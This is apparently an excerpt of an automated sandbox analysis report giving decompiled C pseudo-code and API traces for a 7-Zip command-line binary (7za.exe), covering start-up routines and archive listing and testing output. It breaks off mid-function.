0x0046d00c
0x0046d014
0x0046d018
0x0046d024
0x0046d030

APIs

GetVersion.KERNEL32 ref: 0046CF72

Part of subcall function 0046EA66: HeapCreate.KERNELBASE(00000000,00001000,00000000,0046CFAA,00000001), ref: 0046EA77
Part of subcall function 0046EA66: HeapDestroy.KERNEL32 ref: 0046EAB6

Part of subcall function 0046E31C: TlsAlloc.KERNEL32(?,0046CFBC), ref: 0046E322
Part of subcall function 0046E31C: TlsSetValue.KERNEL32(00000000,?,0046CFBC), ref: 0046E34A
Part of subcall function 0046E31C: GetCurrentThreadId.KERNEL32(?,0046CFBC), ref: 0046E35B

Part of subcall function 0046FCD7: GetStartupInfoA.KERNEL32(?), ref: 0046FD35
Part of subcall function 0046FCD7: GetFileType.KERNEL32(00000480), ref: 0046FDE0
Part of subcall function 0046FCD7: GetStdHandle.KERNEL32(-000000F6), ref: 0046FE43
Part of subcall function 0046FCD7: GetFileType.KERNEL32(00000000), ref: 0046FE51
Part of subcall function 0046FCD7: SetHandleCount.KERNEL32 ref: 0046FE88

Part of subcall function 00470AD6: GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,0046CFE1), ref: 00470AF1
Part of subcall function 00470AD6: GetEnvironmentStrings.KERNEL32(?,?,?,?,?,?,0046CFE1), ref: 00470B05
Part of subcall function 00470AD6: GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,0046CFE1), ref: 00470B31
Part of subcall function 00470AD6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?,0046CFE1), ref: 00470B69
Part of subcall function 00470AD6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,0046CFE1), ref: 00470B8B
Part of subcall function 00470AD6: FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,?,?,0046CFE1), ref: 00470BA4
Part of subcall function 00470AD6: GetEnvironmentStrings.KERNEL32(?,?,?,?,?,?,0046CFE1), ref: 00470BB7
Part of subcall function 00470AD6: FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00470BF5

Part of subcall function 00470889: GetModuleFileNameA.KERNEL32(00000000,C:\ProgramData\7za.exe,00000104,?,?,?,?,?,?,0046CFEB), ref: 004708AC

Part of subcall function 00405C72: __EH_prolog.LIBCMT ref: 00405C77

Part of subcall function 00470658: UnhandledExceptionFilter.KERNEL32(?), ref: 0047078C

Part of subcall function 0046D061: ExitProcess.KERNEL32 ref: 0046D07E

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0040C5F4, Relevance: 1.5, APIs: 1, Instructions: 9

C-Code - Quality: 100%

			E0040C5F4() {
				struct _SYSTEM_INFO _v40;

				GetSystemInfo( &_v40); // executed
				return _v40.dwNumberOfProcessors;
			}

0x0040c5fe
0x0040c608

APIs

GetSystemInfo.KERNELBASE(?,?,?,?,?,?,004012EC,00000000,00000000,00490AB0), ref: 0040C5FE

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0046E6AA, Relevance: 1.5, APIs: 1, Instructions: 4

C-Code - Quality: 100%

			E0046E6AA() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E0046E664); // executed
				 *0x4936e8 = _t1;
				return _t1;
			}

0x0046e6af
0x0046e6b5
0x0046e6ba

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0006E664), ref: 0046E6AF

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0046E6BC, Relevance: 1.5, APIs: 1, Instructions: 3

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 0046E6C1

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00403A70, Relevance: 64.2, APIs: 13, Strings: 23, Instructions: 1177

C-Code - Quality: 89%

			E00403A70(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int _t502;
				signed int _t503;
				signed char _t504;
				signed int _t507;
				signed int _t508;
				char _t517;
				signed int _t518;
				signed int _t534;
				signed int _t549;
				signed int _t554;
				signed int _t569;
				signed int _t583;
				signed int _t614;
				signed int _t625;
				signed int _t626;
				signed int _t642;
				signed int _t647;
				signed int _t648;
				intOrPtr* _t676;
				void* _t689;
				signed int _t706;
				intOrPtr* _t720;
				signed int _t725;
				void* _t729;
				signed int _t730;
				signed int _t739;
				signed int _t757;
				signed int _t764;
				signed int _t769;
				signed int _t784;
				unsigned char _t786;
				signed char _t787;
				signed int _t788;
				signed char _t792;
				signed int _t793;
				signed int _t794;
				signed int _t809;
				signed int _t812;
				signed int _t815;
				intOrPtr _t829;
				intOrPtr _t861;
				signed int _t918;
				intOrPtr _t996;
				signed int _t1065;
				signed int _t1066;
				signed int _t1068;
				signed int _t1069;
				signed int _t1070;
				signed int _t1071;
				char* _t1073;
				signed int _t1075;
				char* _t1077;
				char* _t1079;
				char* _t1080;
				void* _t1081;
				void* _t1083;
				void* _t1084;

				E0046B890(E00473088, _t1081);
				_t1084 = _t1083 - 0x36c;
				_push(__ebx);
				SetFileApisToOEM();
				E00405B9F(_t1081 - 0x4c);
				 *((intOrPtr*)(_t1081 - 0x4c)) = 0x47a420;
				_t1075 = 0;
				 *(_t1081 - 4) = 0;
				E00403532(_t1081 - 0x2c, GetCommandLineW());
				_t1049 = _t1081 - 0x4c;
				 *(_t1081 - 4) = 1;
				E00406C53(_t1081 - 0x2c, _t1081 - 0x4c);
				 *(_t1081 - 4) =  *(_t1081 - 4) & 0x00000000;
				E00407A18( *((intOrPtr*)(_t1081 - 0x2c)));
				if( *((intOrPtr*)(_t1081 - 0x44)) != 1) {
					E004036D9(__ebx, _t1081 - 0x4c, 0, 0, 1);
					E00404C12(_t1081 - 0x2d8);
					 *(_t1081 - 4) = 3;
					E0040FEC3(_t1081 - 0x7c);
					_push(_t1081 - 0x2d8);
					_push(_t1081 - 0x4c);
					 *(_t1081 - 4) = 4;
					E0040FED1(_t1081 - 0x7c, __eflags);
					__eflags =  *((char*)(_t1081 - 0x2d8));
					if( *((char*)(_t1081 - 0x2d8)) == 0) {
						__eflags =  *((char*)(_t1081 - 0x2d7));
						if( *((char*)(_t1081 - 0x2d7)) != 0) {
							E00458600();
							E0040BF39(1);
						}
						__eflags =  *((char*)(_t1081 - 0x2d2));
						_t829 = 0x490ab0;
						if( *((char*)(_t1081 - 0x2d2)) == 0) {
							_t829 = 0x490ab8;
						}
						__eflags =  *((char*)(_t1081 - 0x2d1));
						 *0x490a80 = _t829;
						if( *((char*)(_t1081 - 0x2d1)) != 0) {
							_t1049 = 0;
							__eflags = 0;
							E004051E3(_t829, 0);
						}
						_push(_t1081 - 0x2d8); // executed
						E0041035D(_t1081 - 0x7c); // executed
						_push(0x1c);
						_t502 = E004079F2();
						 *(_t1081 - 0x14) = _t502;
						__eflags = _t502 - _t1075;
						 *(_t1081 - 4) = 6;
						if(_t502 == _t1075) {
							_t1065 = 0;
							__eflags = 0;
						} else {
							_t1065 = E00405328(_t502);
						}
						__eflags = _t1065 - _t1075;
						 *(_t1081 - 0x20) = _t1065;
						 *(_t1081 - 4) = 4;
						 *(_t1081 - 0x130) = _t1065;
						if(_t1065 != _t1075) {
							 *((intOrPtr*)( *_t1065 + 4))(_t1065);
						}
						 *(_t1081 - 4) = 7;
						_t503 = E0041741C(_t1065);
						__eflags = _t503 - _t1075;
						if(_t503 != _t1075) {
							 *(_t1081 - 0x14) = _t503;
							E0046B8F4(_t1081 - 0x14, 0x47d368);
						}
						_t504 = E0040FE22(_t1081 - 0x2b8);
						__eflags =  *(_t1065 + 0x10) - _t1075;
						 *(_t1081 - 0xd) = _t504;
						if( *(_t1065 + 0x10) == _t1075) {
							__eflags = _t504;
							if(_t504 != 0) {
								L21:
								_t812 =  *0x48aad4; // 0x48ab10
								 *(_t1081 - 0x14) = _t812;
								E0046B8F4(_t1081 - 0x14, 0x47d358);
							} else {
								__eflags =  *((intOrPtr*)(_t1081 - 0x2b8)) - 6;
								if( *((intOrPtr*)(_t1081 - 0x2b8)) == 6) {
									goto L21;
								} else {
									_t815 = E0040FE46(_t1081 - 0x2b8);
									__eflags = _t815;
									if(_t815 != 0) {
										goto L21;
									}
								}
							}
						}
						_push(4);
						L157();
						 *((intOrPtr*)(_t1081 - 0x60)) = 0x47a668;
						_push(_t1081 - 0x60);
						_push(_t1081 - 0x170);
						 *(_t1081 - 4) = 8;
						_t507 = E004176BE(_t1065);
						__eflags = _t507;
						if(_t507 == 0) {
							_t809 =  *0x48aad8; // 0x48aaf4
							 *(_t1081 - 0x14) = _t809;
							E0046B8F4(_t1081 - 0x14, 0x47d358);
						}
						__eflags =  *((intOrPtr*)(_t1081 - 0x2b8)) - 8;
						if( *((intOrPtr*)(_t1081 - 0x2b8)) != 8) {
							__eflags =  *((intOrPtr*)(_t1081 - 0x2b8)) - 7;
							if( *((intOrPtr*)(_t1081 - 0x2b8)) != 7) {
								L61:
								__eflags =  *(_t1081 - 0xd);
								if( *(_t1081 - 0xd) != 0) {
									_push(0x48);
									_t508 = E004079F2();
									 *(_t1081 - 0x14) = _t508;
									__eflags = _t508 - _t1075;
									 *(_t1081 - 4) = 0xd;
									if(_t508 == _t1075) {
										_t1066 = 0;
										__eflags = 0;
									} else {
										_t1066 = E004053AD(_t508);
									}
									__eflags = _t1066;
									 *(_t1081 - 4) = 8;
									 *(_t1081 - 0x30) = _t1066;
									if(_t1066 != 0) {
										 *((intOrPtr*)( *_t1066 + 4))(_t1066);
									}
									 *((intOrPtr*)(_t1066 + 0x40)) = _t829;
									 *((char*)(_t1066 + 0xc)) =  *((intOrPtr*)(_t1081 - 0x2a8));
									_t330 = _t1066 + 0x10; // 0x10
									 *(_t1081 - 4) = 0xe;
									E00401E26(_t330, _t1081 - 0x2a4);
									 *((intOrPtr*)(_t1066 + 0x20)) = 0;
									 *(_t1066 + 0x28) = 0;
									 *(_t1066 + 0x30) = 0;
									 *((intOrPtr*)(_t1066 + 0x38)) = 0;
									 *(_t1066 + 0x24) = 0;
									 *(_t1066 + 0x2c) = 0;
									 *(_t1066 + 0x34) = 0;
									 *((intOrPtr*)(_t1066 + 0x3c)) = 0;
									E0040347F(_t1081 - 0xc4);
									 *((char*)(_t1081 - 0xbc)) =  *((intOrPtr*)(_t1081 - 0x2a8));
									 *(_t1081 - 4) = 0xf;
									 *((intOrPtr*)(_t1081 - 0xc0)) = _t829;
									E00401E26(_t1081 - 0xb8, _t1081 - 0x2a4);
									E00404B67(_t1081 - 0xf4);
									_t517 =  *((intOrPtr*)(_t1081 - 0x2d3));
									 *(_t1081 - 4) = 0x10;
									 *((char*)(_t1081 - 0xf4)) = _t517;
									 *((char*)(_t1081 - 0xf3)) = _t517;
									_t518 = E0040FE34(_t1081 - 0x2b8);
									__eflags =  *((intOrPtr*)(_t1081 - 0x2b8)) - 3;
									 *(_t1081 - 0xec) = _t518;
									 *((char*)(_t1081 - 0xf1)) = _t518 & 0xffffff00 |  *((intOrPtr*)(_t1081 - 0x2b8)) == 0x00000003;
									 *((intOrPtr*)(_t1081 - 0xe8)) =  *((intOrPtr*)(_t1081 - 0x288));
									E00401E26(_t1081 - 0xe4, _t1081 - 0x294);
									 *((char*)(_t1081 - 0xf2)) =  *((intOrPtr*)(_t1081 - 0x2d0));
									 *((char*)(_t1081 - 0xf0)) =  *((intOrPtr*)(_t1081 - 0x297));
									E0040862D();
									_push(_t1081 - 0x25c);
									E00405BBA(_t1081 - 0xd8);
									 *((intOrPtr*)(_t1081 - 0x2c)) = 0;
									 *(_t1081 - 0x28) = 0;
									 *((intOrPtr*)(_t1081 - 0x24)) = 0;
									E00401E9A(_t1081 - 0x2c, 3);
									_push(_t1081 - 0xac);
									_push(_t1081 - 0x2c);
									_push(_t1066);
									_push(_t1081 - 0xc4);
									_push(_t1081 - 0xf4);
									_push( *((intOrPtr*)( *((intOrPtr*)(_t1081 - 0x2c0)))) + 0xc);
									 *(_t1081 - 4) = 0x11;
									_push(_t1081 - 0x270);
									_push(_t1081 - 0x284);
									_t534 = E00415D31( *(_t1081 - 0x20), _t1081 - 0x60, __eflags); // executed
									__eflags =  *(_t1081 - 0x28);
									 *(_t1081 - 0x18) = _t534;
									_t1077 = E00407CCD;
									if( *(_t1081 - 0x28) != 0) {
										_push( *((intOrPtr*)(_t1081 - 0x2c)));
										E00407CEC(E00407CD5(E00407CC0(_t829, E00407CCD), "Error: "));
										__eflags =  *(_t1081 - 0x18);
										if( *(_t1081 - 0x18) == 0) {
											 *(_t1081 - 0x18) = 0x80004005;
										}
									}
									E00407CC0(_t829, _t1077);
									_t536 =  *(_t1066 + 0x24);
									_t861 =  *((intOrPtr*)(_t1066 + 0x20));
									__eflags =  *(_t1066 + 0x24);
									if(__eflags > 0) {
										L121:
										E00407CC0(E00407DED(E00407CD5(_t829, "Archives: "), __eflags, _t861, _t536), _t1077);
									} else {
										__eflags = _t861 - 1;
										if(__eflags > 0) {
											goto L121;
										}
									}
									__eflags =  *(_t1066 + 0x28) |  *(_t1066 + 0x2c);
									if(( *(_t1066 + 0x28) |  *(_t1066 + 0x2c)) != 0) {
										L136:
										__eflags =  *(_t1066 + 0x24);
										if( *(_t1066 + 0x24) > 0) {
											L138:
											E00407CC0(_t829, _t1077);
											_t543 =  *(_t1066 + 0x28);
											_t866 =  *(_t1066 + 0x2c);
											__eflags =  *(_t1066 + 0x28) |  *(_t1066 + 0x2c);
											if(__eflags != 0) {
												E00407CC0(E00407DED(E00407CD5(_t829, "Archive Errors: "), __eflags, _t543, _t866), _t1077);
											}
											_t544 =  *(_t1066 + 0x30);
											_t867 =  *(_t1066 + 0x34);
											__eflags =  *(_t1066 + 0x30) |  *(_t1066 + 0x34);
											if(__eflags != 0) {
												E00407CC0(E00407DED(E00407CD5(_t829, "Sub items Errors: "), __eflags, _t544, _t867), _t1077);
											}
										} else {
											__eflags =  *((intOrPtr*)(_t1066 + 0x20)) - 1;
											if( *((intOrPtr*)(_t1066 + 0x20)) > 1) {
												goto L138;
											}
										}
										__eflags =  *(_t1081 - 0x18);
										if( *(_t1081 - 0x18) != 0) {
											 *(_t1081 - 0x14) =  *(_t1081 - 0x18);
											E0046B8F4(_t1081 - 0x14, 0x47d368);
										}
										E00407A18( *((intOrPtr*)(_t1081 - 0x2c)));
										 *(_t1081 - 4) = 0xf;
										E00405489(_t1081 - 0xf4);
										E00407A18( *((intOrPtr*)(_t1081 - 0xb8)));
										__eflags = _t1066;
										 *(_t1081 - 4) = 8;
										if(_t1066 != 0) {
											 *((intOrPtr*)( *_t1066 + 8))(_t1066);
										}
										 *(_t1081 - 4) = 7;
										E00408604(_t1081 - 0x60);
										_t549 =  *(_t1081 - 0x20);
										 *(_t1081 - 4) = 4;
										__eflags = _t549;
										if(_t549 != 0) {
											 *((intOrPtr*)( *_t549 + 8))(_t549);
										}
										 *(_t1081 - 4) = 3;
										E00406E46(_t1081 - 0x7c);
										 *(_t1081 - 4) =  *(_t1081 - 4) & 0x00000000;
										E00405233(_t1081 - 0x2d8, __eflags);
										 *((intOrPtr*)(_t1081 - 0x4c)) = 0x47a420;
										 *(_t1081 - 4) = 0x12;
										goto L154;
									} else {
										__eflags =  *(_t1066 + 0x30) |  *(_t1066 + 0x34);
										if(( *(_t1066 + 0x30) |  *(_t1066 + 0x34)) != 0) {
											goto L136;
										} else {
											__eflags =  *(_t1081 - 0x18);
											if( *(_t1081 - 0x18) != 0) {
												 *(_t1081 - 0x14) =  *(_t1081 - 0x18);
												E0046B8F4(_t1081 - 0x14, 0x47d368);
											}
											_t569 =  *(_t1081 - 0x94);
											__eflags = _t569 |  *(_t1081 - 0x90);
											if(__eflags != 0) {
												E00407CC0(E00407DED(E00407CD5(_t829, "Folders: "), __eflags, _t569,  *(_t1081 - 0x90)), _t1077);
												_t569 =  *(_t1081 - 0x94);
											}
											__eflags =  *((intOrPtr*)(_t1081 - 0x8c)) - 1;
											if(__eflags != 0) {
												L131:
												E00407CC0(E00407DED(E00407CD5(_t829, "Files: "), __eflags,  *((intOrPtr*)(_t1081 - 0x8c)),  *(_t1081 - 0x88)), _t1077);
											} else {
												__eflags =  *(_t1081 - 0x88);
												if(__eflags != 0) {
													goto L131;
												} else {
													__eflags = _t569 |  *(_t1081 - 0x90);
													if(__eflags != 0) {
														goto L131;
													}
												}
											}
											E00407CC0(E00407DED(E00407CD5(E00407CC0(E00407DED(E00407CD5(_t829, "Size:       "), __eflags,  *((intOrPtr*)(_t1081 - 0xa4)),  *((intOrPtr*)(_t1081 - 0xa0))), _t1077), "Compressed: "), __eflags,  *((intOrPtr*)(_t1081 - 0x9c)),  *((intOrPtr*)(_t1081 - 0x98))), _t1077);
											__eflags =  *((char*)(_t1081 - 0x297));
											if( *((char*)(_t1081 - 0x297)) != 0) {
												E00407759( *((intOrPtr*)(_t1081 - 0x84)), _t1081 - 0x12c);
												E00407CC0(E00407CD5(E00407CD5(_t829, "CRC: "), _t1081 - 0x12c), _t1077);
											}
											E00407A18( *((intOrPtr*)(_t1081 - 0x2c)));
											 *(_t1081 - 4) = 0xf;
											E00405489(_t1081 - 0xf4);
											E00407A18( *((intOrPtr*)(_t1081 - 0xb8)));
											__eflags = _t1066;
											 *(_t1081 - 4) = 8;
											if(_t1066 != 0) {
												 *((intOrPtr*)( *_t1066 + 8))(_t1066);
											}
											goto L107;
										}
									}
									goto L110;
								} else {
									__eflags =  *((intOrPtr*)(_t1081 - 0x2b8)) - 6;
									if(__eflags == 0) {
										_push(_t1081 - 0x34);
										_push(_t1081 - 0x2a4);
										_push(_t1081 - 0x2a8);
										 *(_t1081 - 0x34) = _t1075;
										_push( *((intOrPtr*)(_t1081 - 0x298)));
										 *(_t1081 - 0x30) = _t1075;
										_push( *((intOrPtr*)(_t1081 - 0x2d1)));
										_t918 = _t1065;
										_push( *((intOrPtr*)( *((intOrPtr*)(_t1081 - 0x2c0)))) + 0xc);
										_push(_t1081 - 0x270);
										_push(_t1081 - 0x284);
										_push( *((intOrPtr*)(_t1081 - 0x2d3)));
										_t614 = E0040279E(_t918, _t1081 - 0x60, __eflags);
										__eflags =  *(_t1081 - 0x30) - _t1075;
										if(__eflags > 0) {
											L151:
											E00407DED(E00407CD5(E00407CC0(0x490ab8, E00407CCD), "Errors: "), __eflags,  *(_t1081 - 0x34),  *(_t1081 - 0x30));
											 *(_t1081 - 4) = 7;
											E00408604(_t1081 - 0x60);
											__eflags = _t1065 - _t1075;
											 *(_t1081 - 4) = 4;
											if(_t1065 != _t1075) {
												 *((intOrPtr*)( *_t1065 + 8))(_t1065);
											}
											 *(_t1081 - 4) = 3;
											E00406E46(_t1081 - 0x7c);
											_t471 = _t1081 - 4;
											 *_t471 =  *(_t1081 - 4) & 0x00000000;
											__eflags =  *_t471;
											E00405233(_t1081 - 0x2d8,  *_t471);
											 *((intOrPtr*)(_t1081 - 0x4c)) = 0x47a420;
											 *(_t1081 - 4) = 0x13;
											goto L154;
										} else {
											__eflags =  *(_t1081 - 0x34) - _t1075;
											if(__eflags <= 0) {
												__eflags = _t614 - _t1075;
												if(_t614 == _t1075) {
													goto L107;
												} else {
													 *(_t1081 - 0x14) = _t614;
													E0046B8F4(_t1081 - 0x14, 0x47d368);
													_t625 = _t918;
													__eflags = 0;
													 *((intOrPtr*)(_t625 + 4)) = 0;
													 *((intOrPtr*)(_t625 + 8)) = 0;
													 *((intOrPtr*)(_t625 + 0xc)) = 0;
													 *((intOrPtr*)(_t625 + 0x10)) =  *((intOrPtr*)(_t1084 + 4));
													 *_t625 = 0x47a670;
													return _t625;
												}
											} else {
												goto L151;
											}
										}
									} else {
										_t626 = E0040FE46(_t1081 - 0x2b8);
										__eflags = _t626;
										if(_t626 == 0) {
											E0040519B(_t829);
											goto L107;
										} else {
											__eflags =  *((char*)(_t1081 - 0x1c0));
											if( *((char*)(_t1081 - 0x1c0)) != 0) {
												__eflags =  *((intOrPtr*)(_t1081 - 0x1b8)) - _t1075;
												if( *((intOrPtr*)(_t1081 - 0x1b8)) == _t1075) {
													E00403593(_t1081 - 0x1bc,  *0x48aadc);
												}
											}
											E0040347F(_t1081 - 0x148);
											__eflags =  *((char*)(_t1081 - 0x2a8));
											 *(_t1081 - 4) = 0x14;
											 *((intOrPtr*)(_t1081 - 0x144)) = _t829;
											if( *((char*)(_t1081 - 0x2a8)) == 0) {
												L70:
												_t179 = _t1081 - 0xd;
												 *_t179 =  *(_t1081 - 0xd) & 0x00000000;
												__eflags =  *_t179;
											} else {
												__eflags =  *((intOrPtr*)(_t1081 - 0x2a0)) - _t1075;
												if( *((intOrPtr*)(_t1081 - 0x2a0)) == _t1075) {
													goto L70;
												} else {
													 *(_t1081 - 0xd) = 1;
												}
											}
											 *((char*)(_t1081 - 0x140)) =  *(_t1081 - 0xd);
											E00401E26(_t1081 - 0x13c, _t1081 - 0x2a4);
											E0040502A(_t1081 - 0x378);
											__eflags =  *((char*)(_t1081 - 0x2a8));
											 *((char*)(_t1081 - 0x340)) =  *((intOrPtr*)(_t1081 - 0x164));
											 *(_t1081 - 4) = 0x15;
											 *((char*)(_t1081 - 0x33e)) =  *(_t1081 - 0xd);
											if( *((char*)(_t1081 - 0x2a8)) == 0) {
												L74:
												_t194 = _t1081 - 0x330;
												 *_t194 =  *(_t1081 - 0x330) & 0x00000000;
												__eflags =  *_t194;
											} else {
												__eflags =  *((intOrPtr*)(_t1081 - 0x2a0)) - _t1075;
												if( *((intOrPtr*)(_t1081 - 0x2a0)) != _t1075) {
													goto L74;
												} else {
													 *(_t1081 - 0x330) = 1;
												}
											}
											E00401E26(_t1081 - 0x33c, _t1081 - 0x2a4);
											 *((char*)(_t1081 - 0x33f)) =  *((intOrPtr*)(_t1081 - 0x1a0));
											E00405172(_t1081 - 0x378, _t829);
											E00404BAF(_t1081 - 0x11c);
											_push(_t1081 - 0x2b4);
											_push(_t1081 - 0x60);
											_push(_t1065);
											 *(_t1081 - 4) = 0x16;
											_t642 = E00419B56(_t1081 - 0x248, _t1049);
											__eflags = _t642;
											if(_t642 == 0) {
												_t725 =  *0x48aad8; // 0x48aaf4
												 *(_t1081 - 0x14) = _t725;
												E0046B8F4(_t1081 - 0x14, 0x47d358);
											}
											_t1057 = _t1081 - 0x2cc;
											_push(_t1081 - 0x378);
											_push(_t1081 - 0x148);
											_push(_t1081 - 0x11c);
											_push(_t1081 - 0x248);
											_t647 = E00419FDE(_t1065, _t1081 - 0x2cc);
											 *(_t1081 - 0x18) =  *(_t1081 - 0x18) & 0x00000000;
											__eflags =  *(_t1081 - 0x2fc);
											 *(_t1081 - 0x14) = _t647;
											_t1079 = E00407CCD;
											if( *(_t1081 - 0x2fc) > 0) {
												E00407CC0(_t829, E00407CCD);
												E00407CC0(E00407CC0(E00407CD5(_t829, "WARNINGS for files:"), E00407CCD), E00407CCD);
												_t706 =  *(_t1081 - 0x2fc);
												_t1070 = 0;
												__eflags = _t706;
												 *(_t1081 - 0x1c) = _t706;
												if(__eflags > 0) {
													do {
														_push(" : ");
														E00407CD5(E00407CEC(_t829),  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1081 - 0x2f8)) + _t1070 * 4)))));
														_t1057 =  *((intOrPtr*)( *((intOrPtr*)(_t1081 - 0x2e4)) + _t1070 * 4));
														_t720 = E00404B09(_t1081 - 0x2c,  *((intOrPtr*)( *((intOrPtr*)(_t1081 - 0x2e4)) + _t1070 * 4)));
														_push(E00407CCD);
														 *(_t1081 - 4) = 0x17;
														E00407CC0(E00407CEC(_t829),  *_t720);
														 *(_t1081 - 4) = 0x16;
														E00407A18( *((intOrPtr*)(_t1081 - 0x2c)));
														_t1070 = _t1070 + 1;
														__eflags = _t1070 -  *(_t1081 - 0x1c);
													} while (__eflags < 0);
												}
												E00407CC0(E00407CD5(_t829, "----------------"), _t1079);
												E00407CD5(E00407DC6(E00407CD5(_t829, "WARNING: Cannot find "), _t1057, __eflags,  *(_t1081 - 0x1c)), " file");
												_t1071 = 1;
												__eflags =  *(_t1081 - 0x1c) - _t1071;
												if( *(_t1081 - 0x1c) > _t1071) {
													E00407CD5(_t829, "s");
												}
												E00407CC0(_t829, _t1079);
												 *(_t1081 - 0x18) = _t1071;
												_t1065 =  *(_t1081 - 0x20);
											}
											__eflags =  *(_t1081 - 0x14);
											if( *(_t1081 - 0x14) != 0) {
												_t1065 = 0;
												 *((intOrPtr*)(_t1081 - 0x38)) = 0;
												 *(_t1081 - 0x34) = 0;
												 *(_t1081 - 0x30) = 0;
												E00401E9A(_t1081 - 0x38, 3);
												__eflags =  *(_t1081 - 0xfc);
												 *(_t1081 - 4) = 0x18;
												_t1079 = "\n";
												if(__eflags != 0) {
													E00405529(_t1081 - 0x38, _t1057, __eflags, _t1081 - 0x100);
													E004035F2(_t1081 - 0x38, _t1057, _t1079);
												}
												__eflags =  *((intOrPtr*)(_t1081 - 0x114)) - _t1065;
												if(__eflags != 0) {
													E00405529(_t1081 - 0x38, _t1057, __eflags, _t1081 - 0x118);
													E004035F2(_t1081 - 0x38, _t1057, _t1079);
												}
												__eflags =  *((intOrPtr*)(_t1081 - 0x108)) - _t1065;
												if(__eflags != 0) {
													E00405529(_t1081 - 0x38, _t1057, __eflags, _t1081 - 0x10c);
													E004035F2(_t1081 - 0x38, _t1057, _t1079);
												}
												_t1057 =  *((intOrPtr*)(_t1081 - 0x11c));
												__eflags =  *((intOrPtr*)(_t1081 - 0x11c)) - _t1065;
												if( *((intOrPtr*)(_t1081 - 0x11c)) != _t1065) {
													_t689 = E00404B09(_t1081 - 0x2c, _t1057);
													 *(_t1081 - 4) = 0x19;
													E00405529(_t1081 - 0x38, _t1057, __eflags, _t689);
													 *(_t1081 - 4) = 0x18;
													E00407A18( *((intOrPtr*)(_t1081 - 0x2c)));
													E004035F2(_t1081 - 0x38, _t1057, _t1079);
												}
												__eflags =  *(_t1081 - 0x34) - _t1065;
												if( *(_t1081 - 0x34) != _t1065) {
													_push( *((intOrPtr*)(_t1081 - 0x38)));
													_push(L"\nError:\n");
													E00407CEC(E00407CEC(_t829));
												}
												E0046B8F4(_t1081 - 0x14, 0x47d368);
											}
											_t648 =  *(_t1081 - 0x324);
											__eflags = _t648;
											 *(_t1081 - 0x1c) = _t648;
											if(_t648 != 0) {
												E00407CC0(_t829, _t1079);
												E00407CC0(E00407CC0(E00407CD5(_t829, "WARNINGS for files:"), _t1079), _t1079);
												_t1068 = 0;
												__eflags =  *(_t1081 - 0x1c);
												if(__eflags > 0) {
													do {
														_push(" : ");
														E00407CD5(E00407CEC(_t829),  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1081 - 0x320)) + _t1068 * 4)))));
														_t1057 =  *((intOrPtr*)( *((intOrPtr*)(_t1081 - 0x30c)) + _t1068 * 4));
